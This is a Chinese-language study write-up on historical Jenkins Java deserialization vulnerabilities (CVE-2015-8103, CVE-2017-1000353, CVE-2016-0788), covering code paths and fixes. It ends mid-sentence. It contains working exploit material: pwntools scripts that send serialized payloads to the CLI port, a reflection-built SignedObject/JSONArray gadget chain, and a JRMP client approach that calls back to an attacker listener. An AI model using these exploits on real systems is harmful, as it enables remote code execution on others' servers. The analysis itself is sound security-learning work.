前言

Jenkins 历史漏洞学习记录。


CVE-2015-8103

用 docker 开个 Jenkins 环境:

docker pull jenkins:1.625.1
docker run -id --name jenkins -p 32770:8080 -p32771:50000 jenkins:1.625.1

然后从里面把 war 包拖出来解压打开。

漏洞分析

该漏洞发生在 Jenkins 的 cli 模块,访问可以在 HTTP Headers 中找到 cli 端口为 50000:

HTTP/1.1 200 OK
X-Content-Type-Options: nosniff
Content-Encoding: gzip
Expires: 0
Cache-Control: no-cache,no-store,must-revalidate
X-Hudson-Theme: default
Content-Type: text/html;charset=UTF-8
X-Hudson: 1.395
X-Jenkins: 1.625.1
X-Jenkins-Session: 326782aa
X-Hudson-CLI-Port: 50000
X-Jenkins-CLI-Port: 50000
X-Jenkins-CLI2-Port: 50000
X-Frame-Options: sameorigin
X-Instance-Identity: ...
X-SSH-Endpoint: ...
Content-Length: 3221
Server: Jetty(winstone-2.8)

这个端口是由 TcpSlaveAgentListener 对象监听的一个 TCP 端口:

public TcpSlaveAgentListener(int port) throws IOException {
    super("TCP slave agent listener port=" + port);

    try {
        this.serverSocket = ServerSocketChannel.open();
        this.serverSocket.socket().bind(new InetSocketAddress(port));
    } catch (BindException var3) {
        ...
    }

    this.configuredPort = port;
    LOGGER.log(Level.FINE, "JNLP slave agent listener started on TCP port {0}", this.getPort());
    this.start();
}

其 run 函数如下:

public void run() {
    try {
        while(true) {
            Socket s = this.serverSocket.accept().socket();
            s.setKeepAlive(true);
            s.setTcpNoDelay(true);
            (new TcpSlaveAgentListener.ConnectionHandler(s)).start();
        }
    } catch (IOException var2) {
        if (!this.shuttingDown) {
            LOGGER.log(Level.SEVERE, "Failed to accept JNLP slave agent connections", var2);
        }

    }
}

接收到一个 TCP 连接后交给 ConnectionHandler 对象处理:

public ConnectionHandler(Socket s) {
    this.s = s;
    synchronized(this.getClass()) {
        this.id = TcpSlaveAgentListener.iotaGen++;
    }

    this.setName("TCP slave agent connection handler #" + this.id + " with " + s.getRemoteSocketAddress());
}

public void run() {
    try {
        TcpSlaveAgentListener.LOGGER.info("Accepted connection #" + this.id + " from " + this.s.getRemoteSocketAddress());
        DataInputStream in = new DataInputStream(this.s.getInputStream());
        PrintWriter out = new PrintWriter(new BufferedWriter(new OutputStreamWriter(this.s.getOutputStream(), "UTF-8")), true);
        String s = in.readUTF();
        if (s.startsWith("Protocol:")) {
            String protocol = s.substring(9);
            AgentProtocol p = AgentProtocol.of(protocol);
            if (p != null) {
                p.handle(this.s);
            } else {
                this.error(out, "Unknown protocol:" + s);
            }
        } else {
            this.error(out, "Unrecognized protocol: " + s);
        }
    } catch (InterruptedException var8) {
        ...
    } catch (IOException var9) {
        ...
    }

}

从传输数据中读取一个字符串 “Protocol:”,然后从其后面读取协议名并调用相应协议的 handler 函数,这里传入 “CLI-connect” 进入 CliProtocol 类:

public void handle(Socket socket) throws IOException, InterruptedException {
    (new CliProtocol.Handler(this.nio.getHub(), socket)).run();
}

然后:

public Handler(NioChannelHub hub, Socket socket) {
    this.hub = hub;
    this.socket = socket;
}

public void run() throws IOException, InterruptedException {
    PrintWriter out = new PrintWriter(new BufferedWriter(new OutputStreamWriter(this.socket.getOutputStream(), "UTF-8")), true);
    out.println("Welcome");
    this.runCli(new Connection(this.socket));
}

protected void runCli(Connection c) throws IOException, InterruptedException {
    String name = "CLI channel from " + this.socket.getInetAddress();
    ChannelBuilder cb = new ChannelBuilder(name, Computer.threadPoolForRemoting);
    Channel channel = cb.withMode(Mode.BINARY).withRestricted(true).withBaseLoader(Jenkins.getInstance().pluginManager.uberClassLoader).build(new BufferedInputStream(c.in), new BufferedOutputStream(c.out));
    channel.setProperty(CliEntryPoint.class.getName(), new CliManagerImpl(channel));
    channel.join();
}

在 runCli 函数中会调用 ChannelBuilder 类的 build 函数:

for(int i = 0; i < preambles.length; ++i) {
    byte[] preamble = preambles[i];
    if (preamble[ptr[i]] == ch) {
        if (++ptr[i] == preamble.length) {
            switch(i) {
                case 0:
                case 1:
                    if (mode == Mode.NEGOTIATE) {
                        mode = modes[i];
                        os.write(mode.preamble);
                        os.flush();
                    } else if (modes[i] != mode) {
                        throw new IOException("Protocol negotiation failure");
                    }

                    return this.makeTransport(is, os, mode, cap);
                case 2:
                    cap = Capability.read(is);
                default:
                    ptr[i] = 0;
            }
        }
    } else {
        ptr[i] = 0;
    }
}

会跟三个 preambles 进行比较,然后做相应的操作,可以看到当符合第三个 preamble 时,会调用 Capability.read,第三个 preamble 为:

PREAMBLE = "<===[JENKINS REMOTING CAPACITY]===>".getBytes("UTF-8");

而 Capability.read 函数如下:

public static Capability read(InputStream is) throws IOException {
    try {
        ObjectInputStream ois = new ObjectInputStream(Mode.TEXT.wrap(is));
        return (Capability)ois.readObject();
    } catch (ClassNotFoundException var2) {
        throw (Error)(new NoClassDefFoundError(var2.getMessage())).initCause(var2);
    }
}

会进行 Java 反序列化,而观察 Jenkins 项目中 lib 目录下的 jar,可以发现里面存在 commons-collections-3.2.1.jar,所以可以用 ysoserial 生成序列化攻击链。

漏洞利用

用 pwntools 写个简单的交互脚本:

from pwn import *
import base64

context.log_level = "debug"
target = remote("...", 50000)

protocol = "Protocol:CLI-connect"
target.send("\x00" + chr(len(protocol)) + protocol)
target.recv()
pause()
payload = "aced...787878".decode("hex")
payload = base64.b64encode(payload)
target.send("<===[JENKINS REMOTING CAPACITY]===>")
target.send(payload)
pause()

target.interactive()
target.close()

漏洞修复

在往后的版本(2.46.1)中流程发生了变化,不过逻辑变化不大,最后在 Capability.read 中:

public static Capability read(InputStream is) throws IOException {
    try {
        ObjectInputStream ois = new ObjectInputStream(Channel.Mode.TEXT.wrap(is)) {
            protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
                String n = desc.getName();
                if (!n.equals("java.lang.String") && !n.equals("[Ljava.lang.String;") && !n.equals(Capability.class.getName())) {
                    throw new SecurityException("Rejected: " + n);
                } else {
                    return super.resolveClass(desc);
                }
            }
        };
        return (Capability)ois.readObject();
    } catch (ClassNotFoundException var2) {
        throw (Error)(new NoClassDefFoundError(var2.getMessage())).initCause(var2);
    }
}

对反序列化的类做了限制,只允许 String、String 数组 和 Capability。

除此之外,还将其他很多反序列化点的 ObjectInputStream 类修改为 ObjectInputStreamEx,其 resolveClass 函数如下:

protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
    String name = desc.getName();

    try {
        return this.filter.check(Class.forName(this.filter.check(name), false, this.cl));
    } catch (ClassNotFoundException var4) {
        return super.resolveClass(desc);
    }
}

简单来说就是一个正则一样的黑名单,其值如下:

private static final String[] DEFAULT_PATTERNS = new String[]{
    "^bsh[.].*", 
    "^com[.]google[.]inject[.].*", 
    "^com[.]mchange[.]v2[.]c3p0[.].*", 
    "^com[.]sun[.]jndi[.].*", 
    "^com[.]sun[.]corba[.].*", 
    "^com[.]sun[.]javafx[.].*", 
    "^com[.]sun[.]org[.]apache[.]regex[.]internal[.].*", 
    "^java[.]awt[.].*", 
    "^java[.]rmi[.].*", 
    "^javax[.]management[.].*", 
    "^javax[.]naming[.].*", 
    "^javax[.]script[.].*", 
    "^javax[.]swing[.].*", 
    "^org[.]apache[.]commons[.]beanutils[.].*", 
    "^org[.]apache[.]commons[.]collections[.]functors[.].*", 
    "^org[.]apache[.]myfaces[.].*", 
    "^org[.]apache[.]wicket[.].*", 
    ".*org[.]apache[.]xalan.*", 
    "^org[.]codehaus[.]groovy[.]runtime[.].*", 
    "^org[.]hibernate[.].*", 
    "^org[.]python[.].*", 
    "^org[.]springframework[.](?!(\\p{Alnum}+[.])*\\p{Alnum}*Exception$).*", 
    "^sun[.]rmi[.].*", 
    "^javax[.]imageio[.].*", 
    "^java[.]util[.]ServiceLoader$", 
    "^java[.]net[.]URLClassLoader$"
};

CVE-2017-1000353

docker pull jenkins:2.46.1

漏洞分析

参考文章中给出了 payload,该漏洞与 CVE-2015-8103 类似,这次是从 HTTP 访问 cli 触发的漏洞,处理代码在 CLIAction$CliEndpointResponse 类的 generateResponse 函数中:

public void generateResponse(StaplerRequest req, StaplerResponse rsp, Object node) throws IOException, ServletException {
    try {
        UUID uuid = UUID.fromString(req.getHeader("Session"));
        rsp.setHeader("Hudson-Duplex", "");
        if (req.getHeader("Side").equals("download")) {
            FullDuplexHttpChannel server;
            CLIAction.this.duplexChannels.put(uuid, server = new FullDuplexHttpChannel(uuid, !Jenkins.getActiveInstance().hasPermission(Jenkins.ADMINISTER)) {
                protected void main(Channel channel) throws IOException, InterruptedException {
                    channel.setProperty(CLICommand.TRANSPORT_AUTHENTICATION, Jenkins.getAuthentication());
                    channel.setProperty(CliEntryPoint.class.getName(), new CliManagerImpl(channel));
                }
            });

            try {
                server.download(req, rsp);
            } finally {
                CLIAction.this.duplexChannels.remove(uuid);
            }
        } else {
            ((FullDuplexHttpChannel)CLIAction.this.duplexChannels.get(uuid)).upload(req, rsp);
        }

    } catch (InterruptedException var10) {
        throw new IOException(var10);
    }
}

可以看到,Jenkins 通过一个头 Session 决定一个通信频道,然后根据另一个头 Side 的不同,在同一个频道中会有 upload 和 download 两种处理方式,download 的处理会调用 download 函数,其中一部分代码如下:

while(this.upload == null && System.currentTimeMillis() < end) {
    this.wait(1000L);
}

if (this.upload == null) {
    throw new IOException("HTTP full-duplex channel timeout: " + this.uuid);
} else {
    ...
}

可以看到,download 会挂起等待一段时间,直到 upload 属性被赋值才会进行下一步操作。回去看看 upload 的处理:

public synchronized void upload(StaplerRequest req, StaplerResponse rsp) throws InterruptedException, IOException {
    rsp.setStatus(200);
    InputStream in = req.getInputStream();
    if (DIY_CHUNKING) {
        in = new ChunkedInputStream((InputStream)in);
    }

    this.upload = (InputStream)in;
    this.notify();

    while(!this.completed) {
        this.wait();
    }

}

从 upload 中读取输入流,然后放入 upload 属性中。upload 结束后再回到 download:

try {
    this.channel = new Channel("HTTP full-duplex channel " + this.uuid, Computer.threadPoolForRemoting, Mode.BINARY, this.upload, (OutputStream)out, (OutputStream)null, this.restricted);
    ...
} finally {
    this.completed = true;
    this.notify();
}

实例化了一个 Channel 类,其构造函数是一个套娃过程,其中一步如下:

Channel(ChannelBuilder settings, InputStream is, OutputStream os) throws IOException {
    this(settings, settings.negotiate(is, os));
}

negotiate 函数就是 CVE-2015-8103 的反序列化触发点,不过那个触发点已经被修复了,这次走的是另一条路,现版本的 switch 代码块如下:

switch(i) {
    case 0:
    case 1:
        LOGGER.log(Level.FINER, "Received mode preamble: {0}", modes[i]);
        if (mode == Mode.NEGOTIATE) {
            mode = modes[i];
            LOGGER.log(Level.FINER, "Sending agreed mode preamble: {0}", mode);
            os.write(mode.preamble);
            os.flush();
        } else if (modes[i] != mode) {
            throw new IOException("Protocol negotiation failure");
        }

        LOGGER.log(Level.FINE, "Channel name {0} negotiated mode {1} with capability {2}", new Object[]{this.name, mode, cap});
        return this.makeTransport(is, os, mode, cap);
    case 2:
        cap = Capability.read(is);
        LOGGER.log(Level.FINER, "Received capability preamble: {0}", cap);
        ptr[i] = 0;
        break;
    default:
        throw new IllegalStateException("Unexpected preamble byte #" + i + ". Only " + preambles.length + " bytes are supported");
}

可以看到,当 i 为 0、1 时,返回值来自 makeTransport 函数:

protected CommandTransport makeTransport(InputStream is, OutputStream os, Mode mode, Capability cap) throws IOException {
    FlightRecorderInputStream fis = new FlightRecorderInputStream(is);
    if (cap.supportsChunking()) {
        return new ChunkedCommandTransport(cap, mode.wrap(fis), mode.wrap(os), os);
    } else {
        ObjectOutputStream oos = new ObjectOutputStream(mode.wrap(os));
        oos.flush();
        return new ClassicCommandTransport(new ObjectInputStreamEx(mode.wrap(fis), this.getBaseLoader(), this.getClassFilter()), oos, fis, os, cap);
    }
}

因为此处的 cap 可以由 Capability.read 反序列化而成,所以这里简单来说就是一个 ClassicCommandTransport 对象,回到 Channel 的构造函数中,最后一步如下:

protected Channel(ChannelBuilder settings, CommandTransport transport) throws IOException {
    ...
    if (this.internalExport(IChannel.class, this, false) != 1) {
        throw new AssertionError();
    } else {
        ...
        transport.setup(this, new CommandReceiver() {
            public void handle(Command cmd) {
                Channel.this.commandsReceived++;
                Channel.this.lastCommandReceivedAt = System.currentTimeMillis();
                if (Channel.logger.isLoggable(Level.FINE)) {
                    Channel.logger.fine("Received " + cmd);
                }

                try {
                    cmd.execute(Channel.this);
                } catch (Throwable var3) {
                    Channel.logger.log(Level.SEVERE, "Failed to execute command " + cmd + " (channel " + Channel.this.name + ")", var3);
                    Channel.logger.log(Level.SEVERE, "This command is created here", cmd.createdAt);
                }

            }

            public void terminate(IOException e) {
                Channel.this.terminate(e);
            }
        });
        ACTIVE_CHANNELS.put(this, this.ref());
    }
}

transport 即上面的 ClassicCommandTransport 对象,下一步调用其 setup 函数:

public void setup(Channel channel, CommandReceiver receiver) {
    this.channel = channel;
    (new SynchronousCommandTransport.ReaderThread(receiver)).start();
}

ReaderThread 类的 run 函数一部分如下:

cmd = SynchronousCommandTransport.this.read();

调用的 read 来自 ClassicCommandTransport 类:

public final Command read() throws IOException, ClassNotFoundException {
    try {
        Command cmd = Command.readFrom(this.channel, this.ois);
        if (this.rawIn != null) {
            this.rawIn.clear();
        }

        return cmd;
    } 
    ...
}

最后来到 Command.readFrom:

static Command readFrom(Channel channel, ObjectInputStream ois) throws IOException, ClassNotFoundException {
    Channel old = Channel.setCurrent(channel);

    Command var3;
    try {
        var3 = (Command)ois.readObject();
    } finally {
        Channel.setCurrent(old);
    }

    return var3;
}

可以看到另一个没有那么严格限制的反序列化点,不过这里的 ois 来自前面实例化 ClassicCommandTransport 对象时传入的 ObjectInputStreamEx 对象,也就是说这个反序列化点存在 CVE-2015-8103 的修复方式中提到的黑名单校验。所以要通过这个反序列化点进行反序列化攻击,还需要想点别的办法,比如某个可序列化类中会自己实例化一个 ObjectInputStream 然后输入一些可控字符 再 readObject 一下。

而 JDK 中正好有一个类 SignedObject,其 getObject 函数如下:

public Object getObject()
    throws IOException, ClassNotFoundException
{
    // creating a stream pipe-line, from b to a
    ByteArrayInputStream b = new ByteArrayInputStream(this.content);
    ObjectInput a = new ObjectInputStream(b);
    Object obj = a.readObject();
    b.close();
    a.close();
    return obj;
}

问题在于这个类没有继承什么接口,也没有调用其 getObject 函数的地方,所以要连接成反序列化链就需要找到一个反射操作的地方。

光 JDK 内部是没有这种类的,不过 Jenkins 内有个 JSONObject 类,其 defaultBeanProcessing 函数如下:

private static JSONObject defaultBeanProcessing(Object bean, JsonConfig jsonConfig) {
    ...

    PropertyDescriptor[] pds = PropertyUtils.getPropertyDescriptors(bean);
    PropertyFilter jsonPropertyFilter = jsonConfig.getJsonPropertyFilter();

    String key;
    for(int i = 0; i < pds.length; ++i) {
        boolean bypass = false;
        String key = pds[i].getName();
        if (!exclusions.contains(key) && (!jsonConfig.isIgnoreTransientFields() || !isTransientField(key, beanClass, jsonConfig))) {
            Class type = pds[i].getPropertyType();

            try {
                pds[i].getReadMethod();
            } catch (Exception var17) {
                ...
            }

            if (pds[i].getReadMethod() != null) {
                if (!isTransient(pds[i].getReadMethod(), jsonConfig)) {
                    Object value = PropertyUtils.getProperty(bean, key);
                    ...
                }
            }
        }
    }

    ...
}

可以看到,这里会调用 getPropertyDescriptors 获取某个类中的属性描述符,经过测试可以发现,除了类中定义好的属性,getXXX 函数也会被 getPropertyDescriptors 函数认为是一个属性,所以可以通过 defaultBeanProcessing 函数调用 getObject。

继续往上,_fromBean:

private static JSONObject _fromBean(Object bean, JsonConfig jsonConfig) {
    if (!addInstance(bean)) {
        ...
    } else {
        fireObjectStartEvent(jsonConfig);
        JsonBeanProcessor processor = jsonConfig.findJsonBeanProcessor(bean.getClass());
        JSONObject json;
        if (processor != null) {
            ...
        } else {
            json = defaultBeanProcessing(bean, jsonConfig);
            removeInstance(bean);
            fireObjectEndEvent(jsonConfig);
            return json;
        }
    }
}

继续:

public static JSONObject fromObject(Object object, JsonConfig jsonConfig) {
    if (object != null && !JSONUtils.isNull(object)) {
        if (object instanceof Enum) {
            throw new JSONException("'object' is an Enum. Use JSONArray instead");
        } else if (!(object instanceof Annotation) && !object.getClass().isAnnotation()) {
            if (object instanceof JSONObject) {
                return _fromJSONObject((JSONObject)object, jsonConfig);
            } else if (object instanceof DynaBean) {
                return _fromDynaBean((DynaBean)object, jsonConfig);
            } else if (object instanceof JSONTokener) {
                return _fromJSONTokener((JSONTokener)object, jsonConfig);
            } else if (object instanceof JSONString) {
                return _fromJSONString((JSONString)object, jsonConfig);
            } else if (object instanceof Map) {
                return _fromMap((Map)object, jsonConfig);
            } else if (object instanceof String) {
                return _fromString((String)object, jsonConfig);
            } else if (!JSONUtils.isNumber(object) && !JSONUtils.isBoolean(object) && !JSONUtils.isString(object)) {
                if (JSONUtils.isArray(object)) {
                    throw new JSONException("'object' is an array. Use JSONArray instead");
                } else {
                    return _fromBean(object, jsonConfig);
                }
            } else {
                return new JSONObject();
            }
        } else {
            throw new JSONException("'object' is an Annotation.");
        }
    } else {
        return new JSONObject(true);
    }
}

fromObject 会判断 Object 的类型并做相应处理,SignedObject 类最后会进入 _fromBean 函数。继续往上:

protected Object _processValue(Object value, JsonConfig jsonConfig) {
    if (JSONNull.getInstance().equals(value)) {
        return JSONNull.getInstance();
    } else if (!Class.class.isAssignableFrom(value.getClass()) && !(value instanceof Class)) {
        if (value instanceof JSONFunction) {
            return value;
        } else if (value instanceof JSONString) {
            return JSONSerializer.toJSON((JSONString)value, jsonConfig);
        } else if (value instanceof JSON) {
            return JSONSerializer.toJSON(value, jsonConfig);
        } else if (JSONUtils.isArray(value)) {
            return JSONArray.fromObject(value, jsonConfig);
        } else if (JSONUtils.isString(value)) {
            return value.toString();
        } else if (JSONUtils.isNumber(value)) {
            JSONUtils.testValidity(value);
            return JSONUtils.transformNumber((Number)value);
        } else if (JSONUtils.isBoolean(value)) {
            return value;
        } else {
            JSONObject jsonObject = JSONObject.fromObject(value, jsonConfig);
            return jsonObject.isNullObject() ? JSONNull.getInstance() : jsonObject;
        }
    } else {
        return ((Class)value).getName();
    }
}

AbstractJSON 类的 _processValue 函数,再往上:

private JSONArray addValue(Object value, JsonConfig jsonConfig) {
    return this._addValue(this.processValue(value, jsonConfig), jsonConfig);
}

private Object processValue(Object value, JsonConfig jsonConfig) {
    if (value != null) {
        JsonValueProcessor jsonValueProcessor = jsonConfig.findJsonValueProcessor(value.getClass());
        if (jsonValueProcessor != null) {
            value = jsonValueProcessor.processArrayValue(value, jsonConfig);
            if (!JsonVerifier.isValidJsonValue(value)) {
                throw new JSONException("Value is not a valid JSON value. " + value);
            }
        }
    }

    return this._processValue(value, jsonConfig);
}

protected Object _processValue(Object value, JsonConfig jsonConfig) {
    if (value instanceof JSONTokener) {
        return _fromJSONTokener((JSONTokener)value, jsonConfig);
    } else if (value != null && Enum.class.isAssignableFrom(value.getClass())) {
        return ((Enum)value).name();
    } else if (!(value instanceof Annotation) && (value == null || !value.getClass().isAnnotation())) {
        return super._processValue(value, jsonConfig);
    } else {
        throw new JSONException("Unsupported type");
    }
}

JSONArray 类,它继承了 AbstractJSON 类,其 addValue 函数最后会调用父类 AbstractJSON 的 _processValue 函数,继续往上,其 _fromCollection 函数中:

int i = 0;
Iterator elements = collection.iterator();

while(elements.hasNext()) {
    Object element = elements.next();
    jsonArray.addValue(element, jsonConfig);
    fireElementAddedEvent(i, jsonArray.get(i++), jsonConfig);
}

遍历第一个参数 collection,然后调用 addValue。再往上,其 fromObject 函数中:

public static JSONArray fromObject(Object object, JsonConfig jsonConfig) {
    if (object instanceof JSONString) {
        return _fromJSONString((JSONString)object, jsonConfig);
    } else if (object instanceof JSONArray) {
        return _fromJSONArray((JSONArray)object, jsonConfig);
    } else if (object instanceof Collection) {
        return _fromCollection((Collection)object, jsonConfig);
    } 
    ...
}

如果参数 Object 为 Collection 类型,就会调用 _fromCollection。再往上:

public boolean containsAll(Collection collection) {
    return this.containsAll(collection, new JsonConfig());
}

public boolean containsAll(Collection collection, JsonConfig jsonConfig) {
    return this.elements.containsAll(fromObject(collection, jsonConfig));
}

containsAll 是 List/Collection 接口里面的函数,后面的链就好找多了。

ConcurrentSkipListSet 类的 equals 函数如下:

public boolean equals(Object o) {
    // Override AbstractSet version to avoid calling size()
    if (o == this)
        return true;
    if (!(o instanceof Set))
        return false;
    Collection<?> c = (Collection<?>) o;
    try {
        return containsAll(c) && c.containsAll(this);
    } catch (ClassCastException unused) {
        return false;
    } catch (NullPointerException unused) {
        return false;
    }
}

这里调用了 c.containsAll,可以用来连接 containsAll,但是有个要求,c 必须是 Set 类型的对象,所以还需要找到一个 containsAll 函数返回值可控的 Set 类,这里找到 ListOrderedSet 类,其 containsAll 函数来自父类 AbstractCollectionDecorator:

public boolean containsAll(Collection coll) {
    return this.collection.containsAll(coll);
}

至于怎么连接 equals,方法挺多的,最常见的办法就是利用 Map,不过一般情况下都需要一致的 hashCode 才能触发,而 ConcurrentSkipListSet 的 hashCode 计算起来比较复杂,所以再周转一下,找到 CopyOnWriteArraySet 类:

public boolean equals(Object o) {
    if (o == this)
        return true;
    if (!(o instanceof Set))
        return false;
    Set<?> set = (Set<?>)(o);
    Iterator<?> it = set.iterator();

    // Uses O(n^2) algorithm that is only appropriate
    // for small sets, which CopyOnWriteArraySets should be.

    //  Use a single snapshot of underlying array
    Object[] elements = al.getArray();
    int len = elements.length;
    // Mark matched elements to avoid re-checking
    boolean[] matched = new boolean[len];
    int k = 0;
    outer: while (it.hasNext()) {
        if (++k > len)
            return false;
        Object x = it.next();
        for (int i = 0; i < len; ++i) {
            if (!matched[i] && eq(x, elements[i])) {
                matched[i] = true;
                continue outer;
            }
        }
        return false;
    }
    return k == len;
}

private static boolean eq(Object o1, Object o2) {
    return (o1 == null) ? o2 == null : o1.equals(o2);
}

遍历参数 o,然后依次跟自身属性 al 中的元素调用 eq 作比较。而其 hashCode 函数如下:

public int hashCode() {
    int h = 0;
    Iterator<E> i = iterator();
    while (i.hasNext()) {
        E obj = i.next();
        if (obj != null)
            h += obj.hashCode();
    }
    return h;
}

public Iterator<E> iterator() {
    return al.iterator();
}

可以看到,其 hashCode 同样来自属性 al,所以我们可以使用两个元素相同顺序不同的 CopyOnWriteArraySet,里面存放 ConcurrentSkipListSet 和 ListOrderedSet 对象,这样就可以以 ListOrderedSet 为参数触发 ConcurrentSkipListSet 的 equals 函数了。

能触发 equals 的 map,payload 中采用的是 ReferenceMap,其 readObject 如下:

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
    in.defaultReadObject();
    this.doReadObject(in);
}

doReadObject 来自父类 AbstractReferenceMap:

protected void doReadObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
    this.keyType = in.readInt();
    this.valueType = in.readInt();
    this.purgeValues = in.readBoolean();
    this.loadFactor = in.readFloat();
    int capacity = in.readInt();
    this.init();
    this.data = new HashEntry[capacity];

    while(true) {
        Object key = in.readObject();
        if (key == null) {
            this.threshold = this.calculateThreshold(this.data.length, this.loadFactor);
            return;
        }

        Object value = in.readObject();
        this.put(key, value);
    }
}

然后是 put:

public Object put(Object key, Object value) {
    if (key == null) {
        throw new NullPointerException("null keys not allowed");
    } else if (value == null) {
        throw new NullPointerException("null values not allowed");
    } else {
        this.purgeBeforeWrite();
        return super.put(key, value);
    }
}

public Object put(Object key, Object value) {
    key = this.convertKey(key);
    int hashCode = this.hash(key);
    int index = this.hashIndex(hashCode, this.data.length);

    for(AbstractHashedMap.HashEntry entry = this.data[index]; entry != null; entry = entry.next) {
        if (entry.hashCode == hashCode && this.isEqualKey(key, entry.key)) {
            Object oldValue = entry.getValue();
            this.updateEntry(entry, value);
            return oldValue;
        }
    }

    this.addMapping(index, hashCode, key, value);
    return null;
}

protected boolean isEqualKey(Object key1, Object key2) {
    key2 = this.keyType > 0 ? ((Reference)key2).get() : key2;
    return key1 == key2 || key1.equals(key2);
}

漏洞利用

观察参考文章的 payload,可以发现其是通过 HTTP 方式触发的,还用到了两个奇怪的类,通过 writeReplace 进行序列化,可能是为了避免生成对象的过程中触发某些奇特操作,还是用反射的方式写吧。

首先生成序列化数据测试一下先:

SignedObject signedObject = (SignedObject)createWithoutConstructor("java.security.SignedObject");
setField(signedObject, "content", getPOC());
setField(signedObject, "signature", "Twings".getBytes());
setField(signedObject, "thealgorithm", null);

JSONArray jsonArray = new JSONArray();
ListOrderedSet listOrderedSet = new ListOrderedSet();
setField(listOrderedSet, "collection", jsonArray);

ConcurrentSkipListSet concurrentSkipListSet = new ConcurrentSkipListSet();
concurrentSkipListSet.add("1");
Object m = getFieldValue(concurrentSkipListSet, "m");
Object head = getFieldValue(m, "head");
Object node = getFieldValue(head, "node");
Object next = getFieldValue(node, "next");
setField(next, "key", signedObject);

CopyOnWriteArrayList copyOnWriteArrayList1 = new CopyOnWriteArrayList();
copyOnWriteArrayList1.add("1");
copyOnWriteArrayList1.add("2");
Object[] array1 = (Object[])getFieldValue(copyOnWriteArrayList1, "array");
array1[0] = listOrderedSet;
array1[1] = concurrentSkipListSet;

CopyOnWriteArrayList copyOnWriteArrayList2 = new CopyOnWriteArrayList();
copyOnWriteArrayList2.add("1");
copyOnWriteArrayList2.add("2");
Object[] array2 = (Object[])getFieldValue(copyOnWriteArrayList2, "array");
array2[0] = concurrentSkipListSet;
array2[1] = listOrderedSet;

CopyOnWriteArraySet copyOnWriteArraySet1 = new CopyOnWriteArraySet();
setField(copyOnWriteArraySet1, "al", copyOnWriteArrayList1);

CopyOnWriteArraySet copyOnWriteArraySet2 = new CopyOnWriteArraySet();
setField(copyOnWriteArraySet2, "al", copyOnWriteArrayList2);

ReferenceMap referenceMap = new ReferenceMap();
referenceMap.put("1", "Twings");
referenceMap.put("2", "Aluvion");
Object[] data = (Object[])getFieldValue(referenceMap, "data");
setField(data[1], "key", copyOnWriteArraySet1);
setField(data[7], "key", copyOnWriteArraySet2);

byte[] poc = serialize(referenceMap);
System.out.println(new String(Base64.getEncoder().encode(poc)));
unserialize(poc);

使用反射还是要麻烦一些的,不过也容易理解一些,然后再仿照 payload 整个 python 脚本就行了。顺带一提,给出的 payload 里面的序列化 Capability 对象好像有点问题,可以自己改一下它的 mask 属性,修改后的 Capability 对象如下:

preamble = "<===[JENKINS REMOTING CAPACITY]===>" \
           "rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4="

漏洞修复

将 SignedObject 加入黑名单。

CVE-2016-0788

docker pull jenkins:1.642.1

漏洞分析

跟 CVE-2017-1000353 一样都是 CVE-2015-8103 的绕过,触发点也相同,不过这里走的不是 HTTP 途径,而且用的是 JRMP 方式,1.642.1 版本下的黑名单如下:

return new ClassFilter.RegExpClassFilter(Arrays.asList(Pattern.compile("^org\\.codehaus\\.groovy\\.runtime\\..*"), Pattern.compile("^org\\.apache\\.commons\\.collections\\.functors\\..*"), Pattern.compile(".*org\\.apache\\.xalan.*")));

没有禁止 JRMP,所以可以通过反序列化创建一个 JRMP Client 连接我们的 Sever,返回 commons-collections 的序列化攻击链实现攻击。(当然反过来用 JRMP Listener 也是可以的)

漏洞利用

ysoerial 中就有这个漏洞的利用代码,可以读一下。

JenkinsReverse
from pwn import *
import base64

context.log_level = "debug"
target = remote("172.17.0.2", 50000)

protocol = "Protocol:CLI-connect"
target.send("\x00" + chr(len(protocol)) + protocol)
target.recv()
pause()
capability = "rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4="
target.send("<===[JENKINS REMOTING CAPACITY]===>")
target.send(capability)
pause()
target.send("\x00\x00\x00\x00")
JRMPClient = base64.b64decode("JRMPClient payload from ysoserial")
target.send(JRMPClient)

target.interactive()
target.close()

然后在云主机之类的地方用 ysoserial 开个 JRMPListener 即可。

JenkinsListener

这种方式就比较复杂了,主要分为三步,每次传输的都是一段序列化数据,然后触发服务端相应的处理,第一步的代码如下:

InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
c = JenkinsCLI.openChannel(isa);

Object call = c.call( JenkinsCLI.getPropertyCallable(JarLoader.class.getName() + ".ours"));

getPropertyCallable 函数如下:

public static Callable<?, ?> getPropertyCallable ( final Object prop )
    throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
    Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
    Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
    Reflections.setAccessible(reqCons);
    Object getJarLoader = reqCons
        .newInstance(1, Class.forName("hudson.remoting.IChannel").getMethod("getProperty", Object.class), new Object[] {
            prop
        });
    return (Callable<?, ?>) getJarLoader;
}

简单来说就是一个 RPCRequest 类,它是 Command 类的子类,其构造函数如下:

public RPCRequest(int oid, Method m, Object[] arguments, ClassLoader cl) {
    this.oid = oid;
    this.arguments = arguments;
    this.methodName = m.getName();
    this.classLoader = cl;
    this.types = new String[arguments.length];
    Class<?>[] params = m.getParameterTypes();

    for(int i = 0; i < arguments.length; ++i) {
        this.types[i] = params[i].getName();
    }

    assert this.types.length == arguments.length;

}

所以该对象中的 oid 属性为 1,methodName 属性为 getProperty,arguments 属性为 JarLoader.ours。然后到了服务端那边:

try {
    cmd = SynchronousCommandTransport.this.read();
} catch (EOFException var23) {
    IOException ioe = new IOException("Unexpected termination of the channel");
    ioe.initCause(var23);
    throw ioe;
} catch (ClassNotFoundException var24) {
    SynchronousCommandTransport.LOGGER.log(Level.SEVERE, "Unable to read a command (channel " + name + ")", var24);
    continue;
} finally {
    ++this.commandsReceived;
}

this.receiver.handle(cmd);

反序列化出 RPCRequest 对象后,会调用 handler:

